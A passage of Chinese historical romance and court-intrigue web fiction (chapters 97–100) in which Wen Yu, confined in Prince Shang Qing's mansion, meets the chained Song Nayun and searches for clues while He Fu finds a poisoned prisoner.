“你知道?她是谁?!”启蛰气愤之下想要拔剑,但这次出来得太急竟是没来得及带剑,可惜之后他想自己就算是赤手空拳也能把那人打得找不到北!
温余脚下暗暗动了动,挪到了贺扶身边才开口道:“那个女流氓,是……是我。”
话音落地,原本鸡飞狗跳的气氛霎时变得沉默,主要是主导这场闹剧的启蛰僵住了。
温余趁机解释道:“其实我也不是流氓,贺大人他允许了的,真的,不信你……”问。
问字没出口,启蛰便举起一边的凳子举到头顶,“我砸死你!”
温余立刻躲在贺扶怀里,“我不是流氓啊!”
贺扶一只手揽住温余,一只手挡在前头,安抚道:“启蛰,你先冷静!”
启蛰举起凳子的手晃了晃,双唇不断颤抖着。良久,他哭喊道:“太过分了!你们太过分了!”
凳子砰得摔在地上,启蛰一脸悲愤地转过身想要抵在门上默默流泪,但是温余忘记插上门闩了,他双臂一抵头一碰,竟直接顺畅抵开门地趴在了地上。
一声闷响后,启蛰一动不动的趴在地上,还有一半身子留在门里,不算高的门槛硌在腰腹处,不是一个很舒服的姿势。
温余和贺扶被吓了一跳,双双前去查看。
两人一人一边想要把启蛰拉起来,但启蛰却暗暗使力,竟半分都不动。
贺扶劝道:“你先起来,我们慢慢说。”
启蛰不说话,只是哼哼唧唧地摇摇头。
“地上凉,你穿得又这么薄,会生病的。”贺扶耐心道。
启蛰闷闷哼了一声。
“再不起来,我拍你屁股了!”温余道。
这一句果然有用,启蛰几乎是当下就弹了起来,伸手护在自己身后,“我就说你是流氓吧!只非礼我家大人还不够,竟然还把注意打到了我身上!我就算是死,也不会屈服的!”
温余安静听他说完,然后一摊手,“你这不就屈服着爬起来了吗?”
启蛰意识到她在耍自己,又要往地下扑,但身后的贺扶却抓住了他,让他就这么不上不下的悬在半空。
“你看看,也不小心些,额头都磕破了。”贺扶将他扶稳站起,对他额上的红印叹息。
贺扶转身想要回屋去拿药,但刚刚跨过门槛便听温余叫道:“你鼻子流血了!”
贺扶立刻转身,只见启蛰伸手摸了摸人中,两行暗红的血缓缓留下。
温余想要扶他,但他却躲开了她的手,跌跌撞撞往贺扶这边走来,温余便跟在他身后跟着,防止他不慎向后倒。
启蛰脑袋发晕,但硬生生是坚持走到了贺扶身边,贺扶刚要问他可还好他便一头栽进了自己怀里,血染红了贺扶的白衣。
趁着晕倒前还有意识,他伸出一根手指在温余面前摆了摆,“我永远都不会向你屈服的,女流氓……”
温余:“……”
贺扶温余两人对视一眼,双双无言。
97. 执云(一)
第二日一早,温余便收拾好东西外出准备去宫中寻尚卿,张罗退婚的事情。但再怎么说尚卿也是皇室,结亲容易,退亲难,更何况这退亲的理由又怎么说?
温余想实在不行就说自己高攀不上,反正只要退了便是。
来到嘉亲王府,温余觉得很是奇怪,虽然她没有来过这里几次,但这次的感觉却不一样得多。嘉亲王府的人,似乎有些太过亲热了。
一来,便一句一句叫着温余王妃引她进入府中。
温余谨慎了些,心想尚卿应该不会反悔吧?
走到正堂,尚卿正背对着温余看着一只摆在正中央的花瓶,像是百无聊赖又像是在欣赏。
“我们什么时候去……”话没说完,温余忽然停住了,因为她看到一个人,一个掀开帘子从里屋出来的人。
章执!
这时,尚卿才缓缓转身,他对温余露出个笑来,但这个笑却不怀好意,他道:“你来了?我方才还和我师兄聊起你呢,瞧,这便是师兄送来的贺礼。”
“贺礼?什么贺礼?”温余心中警铃大作,觉得尚卿好像一夜之间变了一个人一般。
尚卿扬起声调哦了一声,“你糊涂了,自然是我们新婚的贺礼啊,不喜欢?”
说到这里,尚卿嘴角的笑意更甚,“我忘了,今日一早我同师兄一起去了宫中,向陛下说了我们的婚事。我说,当时定的日子太迟,所以求他提前些,他同意了。”
温余顷刻愣住,“什么?”
章执缓缓从她面前走过,坐在太师椅上看着温余,声音沉沉,“既如此,我便提前恭喜弟妹了。”
温余努力理解着当下的情况,如今尚卿和章执待在一起,章执又对贺扶充满恶意,难不成他们两个联手了?可是,尚卿不是不喜章执吗?他不是向来独来独往的吗?
她还在想着,尚卿便上前了几步走到她面前,伸出手亲昵的揽过温余的肩膀,道:“我们的新婚期定在上元节,一个很好的日子,你待如何?”
上元节,贺扶的生辰,还有半月。
温余想躲开尚卿这甜到让人发腻的动作,但一旁的章执却目光灼灼,看向温余的目光仿佛要将她给盯穿一般。
此刻,她好似是被两条毒蛇环绕着,像是一只唾手可得的猎物。
“既然这样,我便想着要接你过来,舅母同我说过了,你的礼仪学得很好,可以出师了。我也一早命人收拾好了屋子,起居都不用担心,只要你人住进来就是了。稍后,我便带你去看。”
他这话说得温柔缱绻,让温余心中又寒了几分,但念在章执在场,自己又是一个人,说不准他们在这里准备了什么,只好先行缓兵之计。
“好,那我回去那些东西。”温余试探性地道。
果然,尚卿抓住了她的手腕,笑道:“不用,我不是说了吗,起居什么的你不用管,都有。”
这时,章执才再次开口,“这样便好,师弟定要好生照料弟妹。我便先离开了,过些日子在府中设宴,还请师弟与弟妹,赏脸前来。”
尚卿也笑着回道:“那是自然。”他目送章执远去,“师兄慢走。”
等章执离开,温余才上前去问尚卿,“发生什么事情了?你怎么又忽然改主意了?”
尚卿没有回答她的问题,而是继续带着与方才无二的笑容,“师兄走了,我们可以去看看你的新住处了。”
说罢,他便强硬地拉着温余往里走,温余只能快步跟上,但她还不死心,继续问:“你和章执联手了?还是说他给你什么好处了?你不会要把我关在这里吧?”
“尚卿?尚卿?”
“尚渡凌!”
温余大喊一声后甩开了他的手,两人停在一树白梅前,白梅花瓣纷纷落下,树枝上积压的雪也被温余的声音震下。
尚卿不悦道:“虽然你我即将是夫妻,叫叫名字也没什么,但你也不能这般怒气冲冲地叫吧?”
“你先和我说清楚!”温余道,“你不是说今日要一起去退婚的吗?怎么又突然变卦了?”
尚卿眨眨眼,“是吗?我们要退婚吗?”
他装模作样地想了一会儿,失望道,“啊,我忘了。”
见他这不肯定也不否定的模样,温余觉得气愤又担忧,“你究竟想要做什么?”
“带你去看新住处。”尚卿摊开手,随后将双眼眯起,仿佛正面对着什么好玩的东西,“接下来,你就什么都不用担心了,只需要好好的……等待上元节。”
“有人说,要送给他一个很大的礼物,你也是其中之一。”
这个“他”指的是谁不言而喻,而那个要送礼物的人怕就是章执。这礼物想来也不是什么好东西。
温余趁着他还没反应转身就要走,尚卿竟也没有去拦她,而是在原地抱起双臂,幽幽道:“这里是嘉亲王府,你不会以为想出去就能出去吗?”
温余停了步子。
“为什么?”温余转过身,远远看着站在白梅树下的尚卿。
尚卿唇角的笑意还未消散,“没有为什么,我自始至终就没有说过我要救你们,而且就算是我说过了又能怎样呢?我想做什么就做什么,谁有能管得着呢?”
温余身侧的手逐渐握成拳,心中懊悔万分。
太大意了,怎么就这么轻易的中计了呢?不知道贺扶那边要怎么办,但这次贺扶和启蛰待在一起,应该也不会有什么问题吧?
传不了信,又出不了府,温余夜中坐在窗边抬头望着月亮。
这和软禁有什么区别?
她叹了一口气,夜中冷风刺骨,她一时头疼,只能关上窗。
就这么被关了几日,尚卿只允许她在院子内活动,院外还有几个侍卫守着,日夜不歇。
终于,到了章执相邀之日。
温余早就期待了,既然要出府,还要参加宴会那就必定会有很多人,说不准她就能借机溜走。实在不行,传个信也可以。
首辅府的宴会办得格外素净,就连菜品都不似寻常宴会的丰盛,只是些素菜。不似大户人家的宴席,倒似某个寺庙的斋饭。
就是这样的宴会,让每位来宾都疑心重重。章执忽然设宴,怕
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不是一场有来无回的鸿门宴?
众人落座,气氛尴尬。章执却丝毫没有觉得不妥,对座下来客道:“为庆贺师弟大喜,盈川特此设宴。只不过盈川向来吃素,便为难各位了。”
宁愿为难来客也不为难自己,果真是高高在上啊!温余听身侧一位宾客窃窃私语。
但很快便有人附和了,“不为难,这首辅大人为官清正廉洁,我等都看在眼里,食素,忌铺张浪费,我等受教。待明日回府,下官也定命伙房,三餐皆食素,向首辅大人学习。”
那人殷勤说罢,其余人也附和着,叽叽喳喳活像是扔了一块石头进鸟群。
温余自进门起便四下观察着,想着如何才能从这宴会上溜出去,至于要出首辅府……
她就不信这么大的地方没个狗洞什么的了!
终于,在尚卿上前给章执敬酒的时候,温余找到了机会。绕过那喝得烂醉的官员后一路狂奔,原先进来的那条路自然是不能走了,那就只能换个办法。
忽然,她想起了宋拿云。方才宴会上寒暄,有官员问宋拿云的去处,章执答她身体不适,正在屋中调养。说不准找到宋拿云,她会放自己出去。
不知为何,温余还是相信宋拿云的,即使她是章执的妻子,按理说是章执最亲近的人。
她借着“与霁尘君叙旧”的名头骗了一个年纪轻的丫鬟带自己前往宋拿云的院子,这院子偏得可怕。
丫鬟解释道:“因为首辅大人说夫人修养需要清净,所以才特地选了这处院子。远是远了些,但好在大人每夜都会来此陪伴夫人。”
温余笑着点头道好,送走了丫鬟后进了院子。
屋内很是安静,温余的步子逐渐慢了下来。
她起了疑心,怕章执早已料到自己的行动想要像之前贺扶一般来个瓮中捉鳖。
于是乎,她转而向另一边走去,打算先从窗外看看屋里的情况,但还没走出半步便听屋内传来什么东西碎裂了声音。
她推开门看,只见宋拿云正坐在床边,单手撑着床沿,双目紧闭似乎是在忍耐什么。
温余立刻走上前去扶起她,问:“怎么了?”
随着宋拿云的动作,一阵清脆的声音响起,温余低头一看,见她的脚腕上正连着一条纯银的锁链。
她惊了,章执不是说宋拿云在修养吗?这也是骗人的?
宋拿云深吸几口气后睁开眼,看到温余的脸有些惊讶,“你怎么来了?”
“我是打算向你问路,看看有没有什么不惊动侍卫就能出去的法子,没想到你竟也身不由己。”温余抚着她的背道。
“你这是什么了?章执欺负你了?”
对上温余担忧关切的目光,宋拿云微微侧目看向地上碎掉的药碗和洒在毯子上的药,她似乎有些不好意思,“麻烦你帮我将这些收拾一下,不要留下痕迹。”
温余没有问为什么,点头道:“好。”
她扶着宋拿云躺好后蹲下身去捡那些瓷片,毯子被汤药打湿了一块,温余好奇闻了闻后一惊:
这药,是避子药?
98. 执云(二)
宋拿云见温余动作慢了下来,自然也明白她发现了其中的端倪,正要解释又听温余道:“这药汤渗入毯子了,怕是要费些功夫。”
温余将毯子往上掀了掀,这味道其实不太明显,一般人来说不仔细凑近闻是完全闻不到的,可是问题就是,章执不是一般人。
以他的谨慎和敏锐,定然是会被发现的。
“霁尘君,你之前的药都是怎么处理的?”喝药自然也会留下药味,宋拿云被锁着,这药必然不会是章执送来的,那便说明宋拿云在府中定还有人帮忙。
说不准可以找那人帮帮忙。
宋拿云正要开口,屋外却传来了一阵脚步声,紧接着是一声惊呼,这声音温余觉得有些熟悉,应该是方才引她过来的那位小丫鬟,她声音婉转:“首辅大人!”
温余一惊,迅速将毯子铺好,但又无法如此迅速的处理药味。恍然,她想起手腕上许久没有用过的珠串,用海棠香盖一盖说不准能遮掩一阵子,更何况章执堂中还有宴会,想必也不会在这里待太久。
见温余的动作,宋拿云愣了愣后向她指:“那边的柜子,快些躲进去,若是被发现你就跑不了了。”
温余点头后轻手轻脚躲进柜子,屋外有那小丫鬟拖延,章执进来得慢了些。
章执踏进门后,那小丫鬟担忧地道:“大人,夫人她身体不适。”
但章执却全然不顾,眼神凌厉看了她一眼,那小丫鬟虽然怯怯但为了宋拿云还想再多说几句,却听宋拿云疲惫道:“好了,花信你先出去吧。”
花信张了张嘴,最终还是低着头走了出去。
章执关上门,在房间里环视一圈后眉头紧皱。他一边向宋拿云这边走来,一边问:“怎么换了香?你不是不喜这浓烈的香味吗?”
宋拿云此刻已经从塌上坐了起来,她眸光淡淡,没有爱也没有恨,道:“你以为你很了解我吗?”
章执似乎早已习惯了对方带着攻击意味的话,只是十分自然地坐在榻边,宽大的手掌十分轻柔的将宋拿云的手给包裹住。他似是关切:“怎么这么凉?我不是命那丫头给你添衣裳了吗?”
宋拿云没有说话,转过头去不看他。
章执很有耐心地道:“方才有人在宴会上提起过你了,问你为何不在我身边。你为何就不能听话呢?好好待在我身边有什么不好?”
宋拿云依旧是沉默。
章执又道:“在生气?”他伸手轻柔地将宋拿云的一缕鬓发别在耳后,“不要生气了好不好?我不是一定要将你关在这里的,只要你答应我好好待在我身边,不要再外出去做那些危险的事情,我就放你出去。”
他循循诱导,“不要和我闹别扭了,好吗?”
若不是亲眼所见,温余是绝对不会相信平常说话都带冰碴子的章执竟然还能这般轻柔耐心。
但宋拿云却完全不吃这一套,她终于转过了头去看章执:“你觉得成亲你就可以管束我了吗?你就可以将我所有的努力所有的理想通通丢的一干二净吗?凭什么?”
“我不是要管束你,我只是担心,你那样做很危险。”章执平静道。
“以担心关切为由的束缚难道就不算束缚了吗?我不怕危险,我只怕会一生困在这深院里,直到垂垂老矣后懊悔自己此生为何如此碌碌无为。”宋拿云声音激动起来。
章执也转而握住她的双肩,“可待在这里,相夫教子,难道就不值得了吗?”
“不值得,我不喜欢这样的生活!”宋拿云甩开了他的手。
章执又问:“那你不爱我了吗?你分明说过的,你爱我,你也愿意嫁给我,为何现在却变成了这样?莫不是你有了其他爱的人?是谁?”
“没有,从来没有。我是爱你没错。”宋拿云稳了稳气息,似是恳求又似是劝导,“章执,你什么时候才能明白爱一个人并不是要将所有的时间精力都要用在那个人身上的?爱一个人,不是要丢掉自己的。”
章执固执道:“我不明白。你不是说过,爱是付出吗?”
“那你一心想让我为你付出,你又何时为我付出过?”宋拿云质问道,“若是让你为了我放弃你在朝堂中的一切,你愿意吗?”
章执立刻道:“不愿意,那和你说的那些不一样。我做的事情,关乎一国存亡。”
宋拿云看着他,忽得笑了一声,“说到底你是觉得你做的都是大事,我做的都是些无关紧要的小事对吗?你说的国事是大,我四处游历行医查案就不是了吗?”
“你不明白。”章执道。
宋拿云高声道:“我明白,章执你一直都是这样的,从来只想要自己开心,想要所有人都按照你的心意做事。你从来都不会在意别人的感受。”
章执沉默了,良久,他忽得抬起眸子,目光扫过屋内,最后落在那块铺在床下的毯子上。
——正是被洒过汤药的那一块。
宋拿云和温余的心一下子被提了起来。
只听他道:“你服药了?”
温余心下担忧,他还是闻到了。
宋拿云没有回答。
“什么药?”章执问。
宋拿云依旧没有回答,只是淡淡道:“你不是已经猜到了吗?”
章执的眉梢跳了跳,似乎在努力压抑自己的怒气,“你就这么不想和我在一起吗?”
宋拿云道:“我讨厌逼迫。”
章执自进门起压抑许久的怒气终究是在这一刻爆发了,他将床边的架子用力一扫,架子上的书和玉器噼里啪啦摔了一地,甚至有些摔到了温余藏身的柜子前。
“宋拿云,你究竟要怎么样?”
“放我走,放我自由。”
章执怒气冲冲将宋拿云抵在榻边,咬牙切齿道:“做梦。”
随后,他忽得想到了些什么,语气又柔和了起来,“对了,你知不知道今天宴会上谁来了?”
宋拿云淡然道:“不知道。”
“尚卿,还有他未过门的那位妻子,你应该知道是谁。”章执不知为何忽然提起这个,宋拿云扫了他一眼,道:“哦。”
“你不是和那丫头关系不错吗?要不要我叫她来陪你?”章执道。
“你有什么目的?你和尚卿又要做什么?”
宋拿云知道他忽然提起定是有原因的,而且现在
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温余在这里,多问出几句说不准能帮她一把。
章执轻轻笑了一声,“没什么,就是继续之前的事情。你不是查到了吗?”
宋拿云思索片刻后道:“你是说,翰林院的朱复换卷一案?”
“对。”章执轻轻点头,“他自杀了,就在半月前。”
“自杀?!”宋拿云被关了这些天,对外面的事情几乎一无所知,她质问道:“你做的?”
章执没有肯定也没有否定,而是似有若无的道了一句,“刑部会有办法的。”
宋拿云追问:“你在刑部有人?”
“我在哪里没人?”章执反问道。
的确,以章执此时在朝中的势力往刑部塞一个人轻而易举。
“是谁?”宋拿云又问。
章执直起身来,目光轻轻往一处扫了一眼,淡淡的,没有丝毫情绪的,却吓了温余一跳。
因为方才章执看的是自己这边,而且不知章执有没有发现柜子里藏着的她,但她却是实实在在与章执对视了一瞬。
“得留一张底牌,不是吗?”章执理了理衣摆,将因为方才动作而产生的褶皱理平后道,“这香味我不喜欢,日后不要用了。”
说罢,他转身离去。
关门的声音响起,温余这才松了口气,出了柜子她才发觉自己的背上已经渗出了一层薄汗。
她长长舒了一口气,后道:“方才你们说的朱复是……?”
宋拿云揉了揉眉心,“我之前不是一直在追查换卷的案子吗?一路追查的翰林院中,最后发觉那案子背后的真凶是翰林院的朱复,但还没来得及接着查便被他锁在了这里。”
“方才他说,朱复死了。”
温余点点头,她之前也听到过有人说这件事,但当时查清圣阳的案子最为重要便没有过多的留意,只知道朱复是自尽的。
“他是自杀。”
“自杀?”宋拿云思考了片刻后道,“去查刑部,去查章执在刑部的耳目。”
她目光十分坚定,温余也点头。
“只不过……”宋拿云似乎有些为难,“尚卿与刑部关系很是密切,你若是想查清刑部的东西怕是绕不过尚卿。”
尚卿与刑部走得近的缘故也是因为贺扶,刑部和大理寺向来不对付,敌人的敌人就是朋友,尚卿自然要去亲近刑部,给贺扶找麻烦。
温余眸色暗了暗,“既如此,我就暂且不走了。不过,你能不能找人帮我送封信?”
但还没等宋拿云同意,门却又一次被人打开。
迎面走来的是方才那位引温余进来的小丫鬟,似乎是叫花信。
她怀中还抱着一个盒子,很是神秘。
她轻手轻脚地走近将盒子递给温余。
“霁尘君,温姑娘。”
温余接过盒子后愣了愣,问:“这是什么?”
花信看了看宋拿云,得到允许后道;“当时安成王抄家时我曾偷偷溜进去过一次,我在他的密室里发现了这个,我想会对你们有用,所以就拿回来了。”
温余这才打开盒子,盒子里静静躺着的是一张熟悉的面具——猞猁面具!
99. 执云(三)
“你为什么会带它过来?”温余细细查看了一番,有些怀疑。
花信很是局促,结结巴巴的解释道:“安成王抄家是首辅大人负责的,我先前又听霁尘君说首辅大人许是与安成王有联系,所以想他会不会从中隐瞒些什么,如此我便跟了上去。”
她指指这面具,“果然看到了首辅大人试图将这东西给藏起来,所以我就想了法子先一步将它拿过来了。”
说罢,宋拿云也点了点头:“她之前告诉过我,可我无法行动交给我也是徒劳,于是我便让她先放着,许是今天见了你,她便拿出来了。”
宋拿云看向花信,认真道:“做得很好。”
闻言,花信似是害羞,柔柔垂下了头来遮掩面上泛起的红。
“既如此,那我便先回去了,省的他们怀疑。”温余将那面具送还给花信,既花信能信,那便还是放在这里。一来自己没有法子将这东西带回去,二来待在尚卿那里怕是什么都会被发现,带回去才会更危险。
所以,还是放在原处,最危险的地方就是最安全的地方。
见温余要离开,宋拿云命花信去送。走在路上,温余忽然想起要拜托传信的事情,停住了步子。
花信走在前面,见温余停了也变站了下来,问道:“温姑娘可还有什么事情?”
温余有些不好意思地挠挠头,分明宋拿云已经被关在这里了还要拜托她帮忙怕是有些强人所难,于是她便摆手道:“没事没事。”
花信笑了笑,“温姑娘若是有事直接说便是,与我说也是一样的。”
温余想了想后,试探道:“花信姑娘竟能从章执眼下拿到东西,那能不能帮我送个信?”
花信想都没想便笑道:“好啊,是送给贺大人吗?”
温余没想到她答应地这么利落,有些受宠若惊,点头确认后又问道:“花信姑娘为何这般确定地要帮我?”
花信忽得瞪大了眼睛,婉转如黄莺的声音也变了调子,“您不记得我了?”
温余啊了一声,努力从记忆中搜寻面前人的模样,却是没什么记忆。
见她一时半会想不起,花信只好失望地叹一声后道:“那日圣阳郡主和您在街上,霁尘君前来救了我。您不记得了?”
温余一拍脑袋这才想起来,“你就是那姑娘?”
花信点头,“是您和霁尘君帮了我,就算是上刀山下火海我也愿意帮你们,算是报恩。”
闻言,温余有些羞愧,人家记了自己这么久,自己却没认出人家,还得她这般相助。“其实不用记这么久的。”
花信笑着摇头,随后道:“从这边走就可以回到前厅了,我便不送您了。”
温余挥手告别花信,回到席中时得了尚卿的注视,他凑到温余耳边道:“还以为你不回来了呢。”
温余回道:“我又能跑到哪儿去呢?”
尚卿笑而不语,转身去和来人敬酒。
回到府中,温余特意留意了府中的布局。整个嘉亲王府中最为重要也最可能藏东西了就只有两处地方。一是书房,里面应该会有些卷宗密信之类,二就是尚卿的寝屋,那里是尚卿最常待的地方,说不准会将重要且不能让人发现的东西放在里面。
看着尚卿醉醺醺被仆从送进寝屋的模样,温余心想寝屋今晚是去不了了,那就只能去书房看看。谁知刚刚到书房门口便见门口一边站着一个侍卫,都手持长剑,一丝不苟地守在门口。
无奈之下,温余只能往回走,但还是觉得今晚是个好时机,尚卿的醉不像装的,而且酒可都是温余看着他喝下去的,总不能千杯不醉吧?
于是,她便转了方向,前往了尚卿的寝屋。
一进院子,温余便见一位灰衣家仆端着盆子从屋里走出来,是一个中年男人,看起来很是老实。
见温余过来,他一惊,“王妃?!”
温余立刻摆手,“还不是,还不是。”
“您是来看王爷的吗?”家仆问。
温余硬着头皮点头,“是,看他醉成这样,有些担心。”
那家仆大惊后带上了哭腔:“终于,终于有人来关心王爷了,我太感动了!”
温余见面前这人将偌大的盆夹在一边胳膊下,抹了几把泪。
“那,我可以进去吗?”温余小心问。
家仆当下便道:“自然可以。没想到啊没想到,我家王爷独身了这么久终于能有个人陪着了。太感动了……”
说着,家仆便一边诉说这些年尚卿独自一人的委屈一边感谢温余愿意嫁给尚卿,叽叽喳喳走进了屋子,温余打断道:“尚卿睡下了,我们就动作轻些,不要再吵他了。”
那家仆顿悟,立刻闭了嘴,压低声音道:“还是王妃周全。”
“你不用这么叫我的。”温余听着这声王妃越听越奇怪。
家仆疑惑道:“不叫您这个,那叫什么?”
“我叫温余,你看着叫吧。”温余笑道。
那家仆觉得不妥:“怎能这般僭越呢?”
“没事的,反正也没有旁人,你怎么叫都可以,我不在乎的。”温余倒是热情。
家仆想了想,试探道:“那,温姑娘?”
温余莞尔点头,“好。”
家仆腼腆地笑了笑,临走前又看向躺在床上的尚卿,叹道:“真是不容易啊。”
关上了门,屋里就只有温余和尚卿两人了。她先是走上去观察了尚卿一会儿,呼吸平稳,双眼紧闭,看起来不像是在装醉。
“尚卿?尚卿?”温余叫了几声,“尚渡凌!”
见尚卿还是没反应,她便确定了尚卿真的睡着了,但为了更稳妥,她便将床边放着的棉被裹在尚卿身上将手臂也裹进去,裹了一圈又一圈,直到变成一条鹅黄的长虫才放心离开。
她先是翻了翻书架,无果。于是又转向书案,看到书案上工整抄写的经文后温余小小地惊讶了一瞬。
像尚卿这般竟也会对佛法感兴趣?
但很快,她就在案边发现了一幅被放得特殊的画卷。
她解开绳子将画打开,只见上面画的是一位舞剑少年,穿着一身锦衣,轻盈又意气,仿佛周围的莲花都化作了陪衬一般。
落款是尚俢,那个被尚卿害死的兄长。
而这幅画细细一看竟是被撕碎后重新拼凑起来的,拼凑得格外认真,若是不细看竟是都看不出。
温余眸光微动,想到那日贺扶所说有关尚卿的事情。
即使先嘉亲王不喜尚卿,但不可否认的是尚俢很喜欢自己的这个弟弟,单单从这幅画的精细程度来看便能感觉出来,每一笔每一划都带着作画者对画中人的爱。
想必这画是尚卿撕碎的,那将它重新拼好的也会是尚卿吗?
对于这位兄长,尚卿可会有一瞬的不忍和后悔呢?
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温余动容片刻后放下了画卷,现在可不是想这些的时候。
此时,屋里所有能放东西的地方都被温余翻了个遍,但始终没有什么收获,最后没有查看过的就只有尚卿的床了。
她蹑手蹑脚走到尚卿床边,正要蹲下查看却听尚卿忽得发出了声音,但温余没听清楚他说了什么。
她便凑近去听,只见尚卿双目紧锁,眉间皱成了川字,细细密密的汗珠布满白净的额头。
“不要、不要、不要过来!”
他不停地喊着不要,像是做了噩梦。
尚卿的噩梦会是什么呢?
温余有些好奇,但很快她便知道了。因为他喊出了那个名字:尚俢。
一连喊了许多句尚俢后,他才低低唤了一声兄长,似乎还夹杂了抽泣。
“兄长……”一滴泪俶尔自他眼角滑落,温余惊了一瞬,又见他不再说话,只是时不时有泪落下。
她顿了顿后蹲下身去看床底,果然,大多数人都认为床底是最安全的,尚卿也不例外。
温余将手伸进床底探了探,探出来一把小小的钥匙。
她仔细端详了半晌,想着这会是什么东西的钥匙。这屋里好像也没有可以用到钥匙的地方。
想了半晌,她猜测这钥匙应该是去开书房里的什么东西的,那就只能再另外找时间去书房查看了。
她将钥匙上的凹凸观察了个遍,一一记在脑中后将它挂回原位。
一切做好后,她站起身拍了拍手掌,随后将尚卿身上裹着的被子缓缓展开后盖在他身上后才离去。
一夜就这般过去。
次日,刑部。
众官员正为堆在桌上的卷宗焦头烂额。
一官员抱怨道:“这得看到几时啊?那什么剑兰花纹的,不是都归大理寺管吗?怎么一下子又落在我们身上了?”
一官员解释:“还不是之前贺扶出的事,陛下许是也不会让他参与了。”
“唉,他别出那些事就好了……”发问的官员又道,“对了,最近你有没有觉得安成王有些奇怪啊?”
另一人思索后点了头,“确实,他之前也不是个沉默寡言的性子啊,这些日子竟是都没开口说过话。”
“除此之外,我还是觉得有些奇怪,究竟是什么人能让他这般效忠啊?首辅?可他和首辅也不对付啊,总不能是……”
他轻轻说了一个名字,另一人的脸色立刻变了,“别乱说话,也不怕被割了舌头!”
官员四下看看没人后松了口气,连连道:“是是是。”
不久,一位身着官服的男子翩翩而至。
旁人一眼看不出他的年纪,但是却能从他飞扬的眉眼和轻快的步伐间推测出他并不年长。
“许侍郎。”两人问好。
刑部侍郎轻轻笑了笑,似是在聊家常一般问:“两位在说什么呢?”
“没什么没什么。”那先前阻拦身边人出口的官员忙道。
“哦?有什么是不能告诉我的?莫不是……有关案情?”刑部侍郎目光灼灼盯着面前两人。
好在,他没有盯多久门外便传来一声通报:“大理寺贺大人到。”
刑部侍郎压低的眉眼展开,带上笑转身离去,那两位官员才松了口气。
毕竟整个刑部谁人不知,刑部侍郎许会泽最为崇敬的便是那位位高权重的丞相了。
100. 执云(四)
许会泽来到前厅的时候贺扶正接过小厮递上的一杯茶,冲那小厮点头致意后轻轻抿了一口。他身侧站着的是一位抱着长剑的翩翩少年,四下观察着目光敏锐。见到他进来后上下打量了一番,看起来骄傲又轻狂。
贺扶不知是不是没有注意到那少年不合礼数的目光,只是放下茶杯后向许会泽问好:“许侍郎。”
许会泽将面上的笑容展得更大了些后回道:“贺大人。”
问好过后,许会泽便开门见山:“不知贺大人今日是为何而来?”
贺扶微微一笑道:“安成王殿下可是被关在刑部大牢?”
“安成王一案由刑部办理,您来插手,怕是不妥吧?”许会泽眯了眯眼,眼中似有暗光闪过。
贺扶笑道:“自然不是要插手,只不过贺某还有一事不解。究竟是什么样的人给了什么样的好处能让他对自己的亲女下手,只为了诬陷我这一次?”
“只要查出其背后之人贺大人的疑惑自然能够迎刃而解,不必麻烦您再跑这一趟了。还是说……”许会泽收起一些笑来,道,“您觉得刑部无法胜任此事?”
贺扶笑一声,对着身后的少年伸出一只手来,那少年便从怀中拿出一件东西来递给他,许会泽定睛看了看,那是一封信。
只见贺扶接过那封信递到许会泽面前,后者轻轻扫了一眼,那信封外印着一枚小小的剑兰花。
“许是您不知,贺某在崇安查案之时遇到一人,那人曾向贺某提起一些事情来,有关这组织内情以及背后之人。而这封信便是那人给我的,里头的东西安成王看了便知。若是许侍郎觉得贺某冒犯,那便劳烦您前去了。”
那封带着印记的信被放在许会泽面前,他思索半刻后发出一声轻笑,“我自然不是这个意思,若是贺大人有证据那便请吧。”
说罢,他侧身请贺扶过去。
贺扶也不客气,收回信封后大步离去。启蛰跟在他身后一起离去,路过许会泽时还心情颇好的哼起了歌。
许会泽目送两人离去,面上很是疑惑。很快,他便招手唤来一人,附在他耳边说了些什么后也跟着离去了。
天牢内,贺扶站在安成王面前,他低着头杂乱的发丝遮住了眼睛,看不清他在想什么。
贺扶笑道:“安成王,久违。”
安成王没有回答,就像是没有听到他的话一般,不说话也不动。
见此启蛰忽得皱起眉来,他谨慎道:“不对。”
贺扶自然也发觉了怪异之处,与启蛰对视一眼后侧身后退,启蛰立刻走上前去撩起遮住安成王半张脸的头发,只见他双目紧闭,面色早已发青。
启蛰在他鼻间探了探,早已没了呼吸,随后,他在安成王身上检查了一番,没有什么外伤,那就只有毒了。
“谁这么大胆子敢在天牢杀人?”启蛰站回贺扶身旁。
贺扶似乎早有预料,只是让身边的狱卒唤许会泽过来。
许会泽来得很快,不过一炷香时间便赶到了天牢之中。他先检查了安成王的尸体又问狱卒可有发觉什么不同寻常之处,答案自然是没有。
“这,什么会这样?”许会泽看起来也很是吃惊。
他又唤来人将安成王的尸体带去仵作处检验,但却被贺扶伸手拦了下来。他在安成王怀中一探,便神奇地探出一只小巧的玉瓶来。
许会泽眼中一震。
贺扶笑着将那玉瓶递到许会泽眼前,道:“若是要查死因,这个便够了。”
许会泽接过玉瓶,端详许久后叹一声:“还是我们大意了,贺大人此行无果,抱歉。”
“不必抱歉,许侍郎还是为自己日后作打算吧。”
说罢,贺扶对启蛰道了一声后便带着他一起离开了。
离开刑部,启蛰坐在车内才幽幽叹了口气,“您说要我装,我装得可还好?”
方才在刑部的每一刻启蛰都好像是一只骄傲的孔雀一般,只要在许会泽目光所及之处都神气得很,就是为了做给他看的。
贺扶答道:“当然好,简直天衣无缝。”
如此直白的夸赞几乎让启蛰找不到北,他挠挠头嘿嘿笑几声,忽得又想起:“对了,那这封信怎么办?”
那将那封在许会泽面前晃了一圈儿的信拿出来,“还好之前那丫头闲着没事刻的章子还在,搞了个赝品出来,我觉得那姓许的绝对被吓到了。”
贺扶淡淡道:“莫要太过欣喜,还有一处戏没有唱完呢。”
启蛰收起笑脸,轻轻哦了一声。
马车并没有驶向大理寺而是转到一处小巷子内,在一处别院前停下。
——正是启蛰先前藏身的地方。
两人进了门,直直向屋内走去。屋内坐着的人听到脚步声立刻惊觉,但身上绑着的绳子却让他无法动弹。
“贺扶,再怎么样本王都是你的长辈,你竟敢这般对待长辈,礼数去了何处?”被绑着的,正是早该流放的歌阳侯。
启蛰上前踹了他一脚,“我呸,我家大人这可算是救了你,你还在这儿叫什么?”
贺扶看向启蛰,眼中带了斥责。
启蛰也心虚地咳一声,乖乖站回了贺扶身后。
歌阳侯看着贺扶,道:“你究竟要问什么?我说了,我什么都不知道。”
“我想问,十五年的绍王府一案,是为何?”贺扶蹲下身,伸出手来将他额间的发拨开,好让他能完全看清那人的眼神。
贺扶动作轻柔,甚至脸上还带着笑,但不知为何歌阳侯却感到一丝冷意。
是之前从未见过的。
